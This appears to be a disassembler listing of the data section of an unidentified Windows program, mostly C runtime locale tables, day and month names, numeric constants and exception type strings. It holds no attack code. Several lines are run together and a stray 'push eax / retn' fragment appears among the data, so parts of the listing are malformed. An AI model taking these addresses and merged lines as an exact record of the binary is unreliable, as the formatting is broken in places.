dword_452770	dd 0D2D0920h, 5Dhdword_452778	dd 5Dh,	0	dword_452780	dd 14h		off_452784	dd offset aExp		; DATA XREF: sub_42E690+2Er
					; "exp"
		dd 1Dh,	43F264h, 1Ah, 43F260h, 1Bh, 43F258h, 1Fh, 43F250h
		dd 13h,	43F248h, 21h, 43F240h, 0Eh, 43F238h, 0Dh, 43F230h
		dd 0Fh,	43F228h, 10h, 43F220h, 5, 43F218h, 1Eh,	43F214h
		dd 12h,	43F210h, 20h, 43F20Ch, 0Ch, 43F204h, 0Bh, 43F1FCh
		dd 15h,	43F1F4h, 1Ch, 43F1ECh, 19h, 43F1E4h, 11h, 43F1DCh
		dd 18h,	43F1D4h, 16h, 43F1CCh, 17h, 43F1C4h, 22h, 43F1C0h
		dd 23h,	43F1BCh, 24h, 43F1B8h
dbl_452858	dq 1.797693134862316e308 ; DATA	XREF: sub_42E230+E4r
					; sub_42E230:loc_42E327r ...
		dd 0
		dd 0FFF80000h
dbl_452868	dq 1.797693134862316e308 ; DATA	XREF: sub_42E230:loc_42E36Ar
					; sub_42E230+167r ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_452880	dt 2.3562723457267347066e313 ; DATA XREF: sub_42EA80+13r
					; sub_42EA80+2Ar
		align 4
tbyte_45288C	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42EA80+41r
		align 4
off_452898	dd offset sub_42F270	; DATA XREF: sub_4230D0+3w
					; sub_42A6B0+6ADr
off_45289C	dd offset sub_42EC80	; DATA XREF: sub_4230D0+Dw
					; sub_42A6B0+6F1r
off_4528A0	dd offset sub_42ED90	; DATA XREF: sub_4230D0+17w
					; sub_42C5E0+1138r
off_4528A4	dd offset sub_42EBD0	; DATA XREF: sub_4230D0+21w
					; sub_42A6B0+6CFr
off_4528A8	dd offset sub_42ED60	; DATA XREF: sub_4230D0+2Bw
off_4528AC	dd offset sub_42F270	; DATA XREF: sub_4230D0+35w
		dd offset sub_435930
		align 10h
off_4528C0	dd offset sub_42FFB0	; DATA XREF: sub_430060+2Dr
					; sub_430060+3Dr
dword_4528C4	dd 43h							; .XComp0:004529E0o ...
dword_4528C8	dd 43h,	20h dup(0)					; sub_430EF0+117o ...
dword_45294C	dd 43h,	20h dup(0)					; sub_430EF0+FCo ...
off_4529D0	dd offset aLc_all	; DATA XREF: .XComp0:004309DFr
					; .XComp0:004309F8r ...
					; "LC_ALL"
dword_4529D4	dd 0							; .XComp0:00430B80r ...
off_4529D8	dd offset sub_431080	; DATA XREF: sub_430C50+12Br
		dd offset aLc_collate	; "LC_COLLATE"
		dd offset dword_4528C4
		dd offset sub_436F30
		dd offset dword_43F320+28h
off_4529EC	dd offset dword_4528C4	; DATA XREF: sub_430DF0+F0r
		dd offset sub_436B90
		dd offset dword_43F320+1Ch
		dd offset dword_4528C4
		dd offset sub_436730
		dd offset dword_43F320+10h
		dd offset dword_4528C4
		dd offset sub_436400
		dd offset dword_43F320+8
		dd offset dword_4528C4
		dd offset sub_435A80
dword_452A18	dd 0C0000005h, 0Bh, 0					; .XComp0:0042B79Eo ...
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_452A90	dd 3							; sub_431610:loc_4316BBr ...
dword_452A94	dd 7							; sub_432E40+17Dr
dword_452A98	dd 78h							; .XComp0:00432CD6r
dword_452A9C	dd 0Ah							; sub_4317D0:loc_431802r ...
dword_452AA0	dd 0FFFFFFFFh, 0A00h, 8	dup(0)					; sub_42A430:loc_42A629o
dword_452AC8	dd 2							; sub_432590+3Dr ...
off_452ACC	dd offset aR6002FloatingP ; DATA XREF: sub_432590+56r
					; sub_432590+98r ...
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 43F614h, 9, 43F5E8h, 0Ah,	43F5C4h, 10h, 43F598h
		dd 11h,	43F568h, 12h, 43F544h, 13h, 43F518h, 18h, 43F4E0h
		dd 19h,	43F4B8h, 1Ah, 43F480h, 1Bh, 43F448h, 1Ch, 43F420h
		dd 78h,	43F410h, 79h, 43F400h, 7Ah, 43F3F0h, 0FCh, 43F3ECh
		dd 0FFh, 43F3DCh, 2 dup(0)
dword_452B60	dd 2694h						; .XComp0:0042DB6Fr ...
		align 8
dword_452B68	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_452B80	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh, 2	dup(0)dword_452BA0	dd 40Ah							; sub_437AE0+147r
a040a		db '040a',0             ; DATA XREF: sub_437AE0+9Ao
		align 4
off_452BAC	dd offset aSpanishTraditi ; DATA XREF: sub_437AE0+ABr
					; "Spanish - Traditional Sort"
off_452BB0	dd offset byte_505345	; DATA XREF: sub_437AE0+BCo
off_452BB4	dd offset aSpain	; DATA XREF: sub_437AE0+CDr
					; "Spain"
off_452BB8	dd offset byte_505345	; DATA XREF: sub_437AE0+DEo
dword_452BBC	dd 303538h, 0	a1252		db '1252',0             ; DATA XREF: sub_437AE0+100o
		align 4
		dd 40Bh, 62303430h, 0
		dd offset aFinnish	; "Finnish"
		dd offset word_4E4946
		dd offset aFinland	; "Finland"
		dd offset word_4E4946
		dd 303538h, 0
a1252_0		db '1252',0
		align 4
		dd 40Ch, 63303430h, 0
		dd offset aFrench	; "French"
		dd offset loc_415245+1
		dd offset aFrance	; "France"
		dd offset loc_415245+1
		dd 303538h, 0
a1252_1		db '1252',0
		align 4
		dd 40Fh, 66303430h, 0
		dd offset aIcelandic	; "Icelandic"
		dd offset byte_4C5349
		dd offset aIceland	; "Iceland"
		dd offset byte_4C5349
		dd 303538h, 0
a1252_2		db '1252',0
		align 10h
		dd 41Dh, 64313430h, 0
		dd offset aSwedish	; "Swedish"
		dd offset byte_455653
		dd offset aSweden	; "Sweden"
		dd offset byte_455753
		dd 303538h, 0
a1252_3		db '1252',0
		align 4
		dd 42Dh, 64323430h, 0
		dd offset aBasque	; "Basque"
		dd offset byte_515545
		dd offset aSpain	; "Spain"
		dd offset byte_505345
		dd 303538h, 0
a1252_4		db '1252',0
		align 4
		db 0Ah
		db 8,0
		align 4
a080a		db '080a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd offset byte_4D5345
		dd offset aMexico	; "Mexico"
		dd offset loc_584549+4
		dd 303538h, 0
a1252_5		db '1252',0
		align 4
		dd 80Ch, 63303830h, 0
		dd offset aFrench	; "French"
		dd offset loc_425242+4
		dd offset aBelgium	; "Belgium"
		dd offset word_4C4542
		dd 303538h, 0
a1252_6		db '1252',0
		align 10h
		dd 0C07h, 37306330h, 0
		dd offset aGerman	; "German"
		dd offset loc_414543+1
		dd offset aAustria	; "Austria"
		dd offset byte_545541
		dd 303538h, 0
a1252_7		db '1252',0
		align 4
		dd 0C09h, 39306330h, 0
		dd offset aEnglish	; "English"
		dd offset loc_414E43+2
		dd offset aAustralia	; "Australia"
		dd offset loc_535541
		dd 303538h, 0
a1252_8		db '1252',0
		align 4
		dd 0C0Ah, 61306330h, 0
		dd offset aSpanishModernS ; "Spanish - Modern Sort"
		dd offset byte_4E5345
		dd offset aSpain	; "Spain"
		dd offset byte_505345
		dd 303538h, 0
a1252_9		db '1252',0
		align 4
		dd 0C0Ch, 63306330h, 0
		dd offset aFrench	; "French"
		dd offset loc_435243+3
		dd offset aCanada	; "Canada"
		dd offset byte_4E4143
		dd 303538h, 0
a1252_10	db '1252',0
		align 10h
		dd 100Ah, 61303031h, 0
		dd offset aSpanish	; "Spanish"
		dd offset byte_475345
		dd offset aGuatemala	; "Guatemala"
		dd offset byte_4D5447
		dd 303538h, 0
a1252_11	db '1252',0
		align 4
		dd 100Ch, 63303031h, 0
		dd offset aFrench	; "French"
		dd offset word_535246
		dd offset aSwitzerland	; "Switzerland"
		dd offset byte_454843
		dd 303538h, 0
a1252_12	db '1252',0
		align 4
		dd 140Ah, 61303431h, 0
		dd offset aSpanish	; "Spanish"
		dd offset loc_435344+1
		dd offset aCostaRica	; "Costa Rica"
		dd offset byte_495243
		dd 303538h, 0
a1252_13	db '1252',0
		align 4
		dd 140Ch, 63303431h, 0
		dd offset aFrench	; "French"
		dd offset word_4C5246
		dd offset aLuxembourg	; "Luxembourg"
		dd offset loc_58554C
		dd 303538h, 0
a1252_14	db '1252',0
		align 10h
		dd 180Ah, 61303831h, 0
		dd offset aSpanish	; "Spanish"
		dd offset loc_415345
		dd offset aPanama	; "Panama"
		dd offset dword_4E4150
		dd 303538h, 0
a1252_15	db '1252',0
		align 4
		dd 1C09h, 39306331h, 0
		dd offset aEnglish	; "English"
		dd offset byte_534E45
		dd offset aSouthAfrica	; "South Africa"
		dd offset word_46415A
		dd 373334h, 0
a1252_16	db '1252',0
		align 4
		dd 1C0Ah, 61306331h, 0
		dd offset aSpanish	; "Spanish"
		dd offset off_445344+1
		dd offset aDominicanRepub ; "Dominican Republic"
		dd offset dword_4D4F44
		dd 303538h, 0
a1252_17	db '1252',0
		align 4
		db 0Ah
		db ' ',0
		align 4
a200a		db '200a',0
		align 10h
		dd offset aSpanish	; "Spanish"
		dd offset byte_565345
		dd offset aVenezuela	; "Venezuela"
		dd offset word_4E4556
		dd 303538h, 0
a1252_18	db '1252',0
		align 10h
		db 0Ah
		db '$',0
		align 4
a240a		db '240a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd offset byte_4F5345
		dd offset aColombia	; "Colombia"
		dd offset byte_4C4F43
		dd 303538h, 0
a1252_19	db '1252',0
		align 4
		db 0Ah
		db '(',0
		align 10h
a280a		db '280a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd offset byte_525345
		dd offset aPeru		; "Peru"
		dd offset dword_524550
		dd 303538h, 0
a1252_20	db '1252',0
		align 4
		db 0Ah
		db ',',0
		align 4
a2c0a		db '2c0a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd offset byte_535345
		dd offset aArgentina	; "Argentina"
		dd offset byte_475241
		dd 303538h, 0
a1252_21	db '1252',0
		align 4
a0		db 0Ah
		db '0',0
		align 4
a300a		db '300a',0
		align 10h
		dd offset aSpanish	; "Spanish"
		dd offset byte_465345
		dd offset aEcuador	; "Ecuador"
		dd offset byte_554345
		dd 303538h, 0
a1252_22	db '1252',0
		align 10h
a4		db 0Ah
		db '4',0
		align 4
a340a		db '340a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd offset byte_4C5345
		dd offset aChile	; "Chile"
		dd offset byte_4C4843
		dd 303538h, 0
a1252_23	db '1252',0
		align 4
a8		db 0Ah
		db '8',0
		align 10h
a380a		db '380a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd offset loc_595343+2
		dd offset aUruguay	; "Uruguay"
		dd offset loc_595253+2
		dd 303538h, 0
a1252_24	db '1252',0
		align 4
		db 0Ah
		db '<',0
		align 4
a3c0a		db '3c0a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd offset loc_5A5344+1
		dd offset aParaguay	; "Paraguay"
		dd offset loc_595250
		dd 303538h, 0
a1252_25	db '1252',0
		align 4
word_453044	dw 0C0Ch, 0C1Ah, 1007h,	436h, 80Ch, 42Dh, 403h,	100Ch
					; DATA XREF: sub_4379B0+34r
		dw 810h, 81Dh
off_453058	dd offset aAmerica	; DATA XREF: sub_436FC0+9Co
					; "america"
		dd offset loc_415354+1
		dd offset aBritain	; "britain"
		dd offset byte_524247
		dd offset aChina	; "china"
		dd offset byte_4E4843
		dd offset aCzech	; "czech"
		dd offset byte_455A43
		dd offset aEngland	; "england"
		dd offset byte_524247
		dd offset aGreatBritain	; "great britain"
		dd offset byte_524247
		dd offset aHolland	; "holland"
		dd offset unk_444C4E
		dd offset aHongKong	; "hong-kong"
		dd offset dword_474B48
		dd offset aNewZealand	; "new-zealand"
		dd offset word_4C5A4E
		dd offset aNz		; "nz"
		dd offset word_4C5A4E
		dd offset aPrChina_0	; "pr china"
		dd offset byte_4E4843
		dd offset aPrChina	; "pr-china"
		dd offset byte_4E4843
		dd offset aPuertoRico	; "puerto-rico"
		dd offset dword_495250
		dd offset aSlovak	; "slovak"
		dd offset byte_4B5653
		dd offset aSouthAfrica_1 ; "south africa"
		dd offset word_46415A
		dd offset aSouthKorea_0	; "south korea"
		dd offset byte_524F4B
		dd offset aSouthAfrica_0 ; "south-africa"
		dd offset word_46415A
		dd offset aSouthKorea	; "south-korea"
		dd offset byte_524F4B
		dd offset aTrinidadTobago ; "trinidad &	tobago"
		dd offset dword_4F5454
		dd offset dword_43F9EC+4
		dd offset byte_524247
		dd offset aUnitedKingdom ; "united-kingdom"
		dd offset byte_524247
		dd offset aUnitedStates	; "united-states"
		dd offset loc_415354+1
		dd offset dword_43F9EC
		dd offset loc_415354+1
off_453110	dd offset aAmerican	; DATA XREF: sub_436FC0+67o
					; "american"
		dd offset byte_554E45
		dd offset aAmericanEngl_0 ; "american english"
		dd offset byte_554E45
		dd offset aAmericanEnglis ; "american-english"
		dd offset byte_554E45
		dd offset aAustralian	; "australian"
		dd offset loc_414E43+2
		dd offset aBelgian	; "belgian"
		dd offset loc_424C4D+1
		dd offset aCanadian	; "canadian"
		dd offset loc_434E45
		dd offset aChh		; "chh"
		dd offset word_48485A
		dd offset aChi		; "chi"
		dd offset word_49485A
		dd offset aChinese	; "chinese"
		dd offset byte_534843
		dd offset aChineseHongkon ; "chinese-hongkong"
		dd offset word_48485A
		dd offset aChineseSimplif ; "chinese-simplified"
		dd offset byte_534843
		dd offset aChineseSingapo ; "chinese-singapore"
		dd offset word_49485A
		dd offset aChineseTraditi ; "chinese-traditional"
		dd offset byte_544843
		dd offset aDutchBelgian	; "dutch-belgian"
		dd offset loc_424C4D+1
		dd offset aEnglishAmerica ; "english-american"
		dd offset byte_554E45
		dd offset aEnglishAus	; "english-aus"
		dd offset loc_414E43+2
		dd offset aEnglishBelize ; "english-belize"
		dd offset byte_4C4E45
		dd offset aEnglishCan	; "english-can"
		dd offset loc_434E45
		dd offset aEnglishCaribbe ; "english-caribbean"
		dd offset loc_424E44+1
		dd offset aEnglishIre	; "english-ire"
		dd offset byte_494E45
		dd offset aEnglishJamaica ; "english-jamaica"
		dd offset byte_4A4E45
		dd offset aEnglishNz	; "english-nz"
		dd offset byte_5A4E45
		dd offset aEnglishSouthAf ; "english-south africa"
		dd offset byte_534E45
		dd offset aEnglishTrinida ; "english-trinidad y	tobago"
		dd offset byte_544E45
		dd offset aEnglishUk	; "english-uk"
		dd offset byte_474E45
		dd offset aEnglishUs	; "english-us"
		dd offset byte_554E45
		dd offset aEnglishUsa	; "english-usa"
		dd offset byte_554E45
		dd offset aFrenchBelgian ; "french-belgian"
		dd offset loc_425242+4
		dd offset aFrenchCanadian ; "french-canadian"
		dd offset loc_435243+3
		dd offset aFrenchLuxembou ; "french-luxembourg"
		dd offset word_4C5246
		dd offset aFrenchSwiss	; "french-swiss"
		dd offset word_535246
		dd offset aGermanAustrian ; "german-austrian"
		dd offset loc_414543+1
		dd offset aGermanLichtens ; "german-lichtenstein"
		dd offset loc_434544
		dd offset aGermanLuxembou ; "german-luxembourg"
		dd offset dword_4C4544
		dd offset aGermanSwiss	; "german-swiss"
		dd offset dword_534544
		dd offset aIrishEnglish	; "irish-english"
		dd offset byte_494E45
		dd offset aItalianSwiss	; "italian-swiss"
		dd offset byte_535449
		dd offset aNorwegian	; "norwegian"
		dd offset word_524F4E
		dd offset aNorwegianBokma ; "norwegian-bokmal"
		dd offset word_524F4E
		dd offset aNorwegianNynor ; "norwegian-nynorsk"
		dd offset word_4E4F4E
		dd offset aPortugueseBraz ; "portuguese-brazilian"
		dd offset loc_42544E+2
		dd offset aSpanishArgenti ; "spanish-argentina"
		dd offset byte_535345
		dd offset aSpanishBolivia ; "spanish-bolivia"
		dd offset loc_425341+4
		dd offset aSpanishChile	; "spanish-chile"
		dd offset byte_4C5345
		dd offset aSpanishColombi ; "spanish-colombia"
		dd offset byte_4F5345
		dd offset aSpanishCostaRi ; "spanish-costa rica"
		dd offset loc_435344+1
		dd offset aSpanishDominic ; "spanish-dominican republic"
		dd offset off_445344+1
		dd offset aSpanishEcuador ; "spanish-ecuador"
		dd offset byte_465345
		dd offset aSpanishElSalva ; "spanish-el	salvador"
		dd offset byte_455345
		dd offset aSpanishGuatema ; "spanish-guatemala"
		dd offset byte_475345
		dd offset aSpanishHondura ; "spanish-honduras"
		dd offset byte_485345
		dd offset aSpanishMexican ; "spanish-mexican"
		dd offset byte_4D5345
		dd offset aSpanishModern ; "spanish-modern"
		dd offset byte_4E5345
		dd offset aSpanishNicarag ; "spanish-nicaragua"
		dd offset byte_495345
		dd offset aSpanishPanama ; "spanish-panama"
		dd offset loc_415345
		dd offset aSpanishParagua ; "spanish-paraguay"
		dd offset loc_5A5344+1
		dd offset dword_43F9EC+58h
		dd offset byte_525345
		dd offset dword_43F9EC+44h
		dd offset byte_555345
		dd offset dword_43F9EC+34h
		dd offset loc_595343+2
		dd offset dword_43F9EC+20h
		dd offset byte_565345
		dd offset dword_43F9EC+10h
		dd offset byte_465653
		dd offset dword_43F9EC+8
		dd offset dword_534544
		dd offset dword_43F9EC+4
		dd offset byte_474E45
		dd offset dword_43F9EC
		dd offset byte_554E45
		dd offset off_43F9E8
		dd offset byte_554E45
off_453318	dd offset off_453320	; DATA XREF: sub_435A80+70w
					; sub_435A80:loc_435B21w ...
		align 10h
off_453320	dd offset aSun		; DATA XREF: sub_435A80:loc_435B21o
					; .XComp0:off_453318o
					; "Sun"
		dd offset aMon		; "Mon"
		dd offset aTue		; "Tue"
		dd offset aWed		; "Wed"
		dd offset aThu		; "Thu"
		dd offset aFri		; "Fri"
		dd offset aSat		; "Sat"
		dd offset aSunday	; "Sunday"
		dd offset aMonday	; "Monday"
		dd offset aTuesday	; "Tuesday"
		dd offset aWednesday	; "Wednesday"
		dd offset aThursday	; "Thursday"
		dd offset aFriday	; "Friday"
		dd offset aSaturday	; "Saturday"
		dd offset aJan		; "Jan"
		dd offset aFeb		; "Feb"
		dd offset aMar		; "Mar"
		dd offset aApr		; "Apr"
		dd offset aMay		; "May"
		dd offset aJun		; "Jun"
		dd offset aJul		; "Jul"
		dd offset aAug		; "Aug"
		dd offset aSep		; "Sep"
		dd offset aOct		; "Oct"
		dd offset aNov		; "Nov"
		dd offset aDec		; "Dec"
		dd offset aJanuary	; "January"
		dd offset aFebruary	; "February"
		dd offset aMarch	; "March"
		dd offset aApril	; "April"
		dd offset aMay		; "May"
		dd offset aJune		; "June"
		dd offset aJuly		; "July"
		dd offset aAugust	; "August"
		dd offset aSeptember	; "September"
		dd offset aOctober	; "October"
		dd offset aNovember	; "November"
		dd offset dword_43FE34+34h
		dd offset dword_43FE34+30h
		dd offset dword_43FE34+2Ch
		dd offset dword_43FE34+24h
		dd offset dword_43FE34+10h
		dd offset dword_43FE34+8
		align 10h
dword_4533D0	dd 2Eh,	0						; .XComp0:off_4533D8o
off_4533D8	dd offset dword_4533D0	; DATA XREF: sub_436730+D4w
					; sub_436730+F6o ...
off_4533DC	dd offset dword_4E94A8	; DATA XREF: sub_436730+E2w
off_4533E0	dd offset dword_4E94A8	; DATA XREF: sub_436730+F1w
		dd offset dword_4E94A8
		dd offset dword_4E94A8
		dd offset dword_4E94A8
		dd offset dword_4E94A8
		dd offset dword_4E94A8
		dd offset dword_4E94A8
		dd offset dword_4E94A8
		dd 2 dup(7F7F7F7Fh)
off_453408	dd offset off_4533D8	; DATA XREF: sub_436400:loc_4364E9r
					; sub_436400+F8r ...
		align 10h
dword_453410	dd 7080h						; sub_43B7C0+9Br ...
dword_453414	dd 1							; sub_43B7C0:loc_43B89Ew ...
dword_453418	dd 0FFFFF1F0h						; sub_43B7C0+E8w ...
off_45341C	dd offset dword_545350	; DATA XREF: .XComp0:off_45349Co
		dd 0Fh dup(0)
off_45345C	dd offset loc_544450	; DATA XREF: .XComp0:off_4534A0o
		dd 0Fh dup(0)
off_45349C	dd offset off_45341C	; DATA XREF: sub_439D20+534r
					; sub_43B7C0+FAr ...
off_4534A0	dd offset off_45345C	; DATA XREF: sub_43B7C0+140r
					; sub_43B7C0+16Ar ...
		align 8
dword_4534A8	dd 0FFFFFFFFh						; sub_43BBA0+1Ar ...
dword_4534AC	dd 0							; sub_43BBA0+20Fr ...
dword_4534B0	dd 0							; sub_43BEA0+13Dw
		align 8
dword_4534B8	dd 0FFFFFFFFh						; sub_43B7C0+2Br ...
dword_4534BC	dd 0							; sub_43BBA0+21Dr ...
dword_4534C0	dd 0							; sub_43BEA0+177w ...
		align 8
dword_4534C8	dd 2 dup(0)			dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_453628	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_43B690+2Ao
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh
dword_453780	dd 0AD8A6DDh						; sub_43BEA0+E9r
dword_453784	dd 0FFFFFFFFh			dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_4537B4	dd 16Dh							; sub_43BEA0+F8r
dword_4537B8	dd 0FFFFFFFFh			dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
off_4537F0	dd offset off_4400F0	; DATA XREF: .XComp0:off_440118o
					; .XComp0:00440244o ...
		align 8
a_?avexception@	db '.?AVexception@@',0
off_453808	dd offset off_4400F0	; DATA XREF: .XComp0:off_440130o
					; .XComp0:00440174o ...
		align 10h
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_453828	dd offset off_4400F0	; DATA XREF: .XComp0:off_440180o
					; .XComp0:004401C4o ...
		align 10h
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 4
off_453848	dd offset off_4400F0	; DATA XREF: .XComp0:off_4401D0o
					; .XComp0:00440214o ...
		align 10h
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_453868	dd offset off_4400F0	; DATA XREF: .XComp0:off_440250o
					; .XComp0:0044028Co
		align 10h
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_435930
		align 8
dword_453888	dd 2 dup(0)	dword_453890	dd 2 dup(0)	byte_453898	db 0			; DATA XREF: sub_4016A7+449o
					; sub_4021E5+1258o ...
		align 4
		dd 5 dup(0)
dword_4538B0	dd 2DAh	dup(0)						; sub_417280+97o ...
byte_454418	db 0			; DATA XREF: sub_4021E5+47BBw
					; sub_4021E5+7B77r ...
		align 4
		dd 7Fh dup(0)
dword_454618	dd 0							; sub_40D4E0+68w ...
dword_45461C	dd 0							; sub_40D4E0+78w ...
dword_454620	dd 0							; sub_40D4E0+88r ...
dword_454624	dd 0							; sub_401DEC+FCw ...
dword_454628	dd 0							; sub_40D4E0+119w ...
dword_45462C	dd 0							; sub_4016A7+4BAr ...
byte_454630	db 0			; DATA XREF: sub_401DEC+CDo
					; sub_4021E5+7A51r ...
		align 4
		dd 83h dup(0)
		db 3 dup(0)
byte_454843	db 0			; DATA XREF: .XComp0:00452DF4o
dword_454844	dd 2C0h	dup(0)
		db 0
byte_455345	db 3 dup(0)		; DATA XREF: .XComp0:00453294o
		dd 0C2h	dup(0)
		db 3 dup(0)
byte_455653	db 0			; DATA XREF: .XComp0:00452C60o
		dd 3Fh dup(0)
		db 3 dup(0)
byte_455753	db 0			; DATA XREF: .XComp0:00452C68o
		dd 0BBh	dup(0)
		db 3 dup(0)
byte_455A43	db 0			; DATA XREF: .XComp0:00453074o
		dd 39C5h dup(0)
		db 2 dup(0)
word_46415A	dw 0			; DATA XREF: .XComp0:00452EA4o
					; .XComp0:004530CCo ...
		dd 47Ah	dup(0)
		db 0
byte_465345	db 3 dup(0)		; DATA XREF: .XComp0:00452FA4o
					; .XComp0:0045328Co
		dd 0C2h	dup(0)
		db 3 dup(0)
byte_465653	db 0			; DATA XREF: .XComp0:004532F4o
		dd 3D3Dh dup(0)
dword_474B48	dd 0BFh	dup(0)			db 0
byte_474E45	db 3 dup(0)		; DATA XREF: .XComp0:004531D4o
					; .XComp0:00453304o
		dd 0FEh	dup(0)
		db 0
byte_475241	db 3 dup(0)		; DATA XREF: .XComp0:00452F80o
		dd 40h dup(0)
		db 0
byte_475345	db 3 dup(0)		; DATA XREF: .XComp0:00452DC0o
					; .XComp0:0045329Co
		dd 3D44h dup(0)
		db 2 dup(0)
word_48485A	dw 0			; DATA XREF: .XComp0:00453144o
					; .XComp0:0045315Co
		dd 2BAh	dup(0)
		db 0
byte_485345	db 3 dup(0)		; DATA XREF: .XComp0:004532A4o
		dd 3D44h dup(0)
		db 2 dup(0)
word_49485A	dw 0			; DATA XREF: .XComp0:0045314Co
					; .XComp0:0045316Co
		dd 3Dh dup(0)
		db 3 dup(0)
byte_494953	db 0			; DATA XREF: .XComp0:00583F0Eo
		dd 13Ch	dup(0)
		db 0
byte_494E45	db 3 dup(0)		; DATA XREF: .XComp0:004531ACo
					; .XComp0:0045322Co
		dd 0FEh	dup(0)
		db 3 dup(0)
byte_495243	db 0			; DATA XREF: .XComp0:00452E20o
		align 10h
dword_495250	dd 3Dh dup(0)			db 0
byte_495345	db 3 dup(0)		; DATA XREF: .XComp0:004532BCo
		dd 3EBFh dup(0)
		db 0
byte_4A4E45	db 3 dup(0)		; DATA XREF: .XComp0:004531B4o
		dd 4202h dup(0)
		db 3 dup(0)
byte_4B5653	db 0			; DATA XREF: .XComp0:004530C4o
		dd 3BBBh dup(0)
		db 2 dup(0)
word_4C4542	dw 0			; DATA XREF: .XComp0:00452CECo
dword_4C4544	dd 0BFh	dup(0)			db 3 dup(0)
byte_4C4843	db 0			; DATA XREF: .XComp0:00452FD8o
		dd 100h	dup(0)
dword_4C4C44	dd 80h dup(0)			db 0
byte_4C4E45	db 3 dup(0)		; DATA XREF: .XComp0:00453194o
		dd 3Eh dup(0)
		db 3 dup(0)
byte_4C4F43	db 0			; DATA XREF: .XComp0:00452F28o
		dd 0C0h	dup(0)
		db 2 dup(0)
word_4C5246	dw 0			; DATA XREF: .XComp0:00452E44o
					; .XComp0:004531FCo
		dd 3Fh dup(0)
		db 0
byte_4C5345	db 3 dup(0)		; DATA XREF: .XComp0:00452FD0o
					; .XComp0:0045326Co
		db 0
byte_4C5349	db 3 dup(0)		; DATA XREF: .XComp0:00452C34o
					; .XComp0:00452C3Co
		dd 1C0h	dup(0)
		db 2 dup(0)
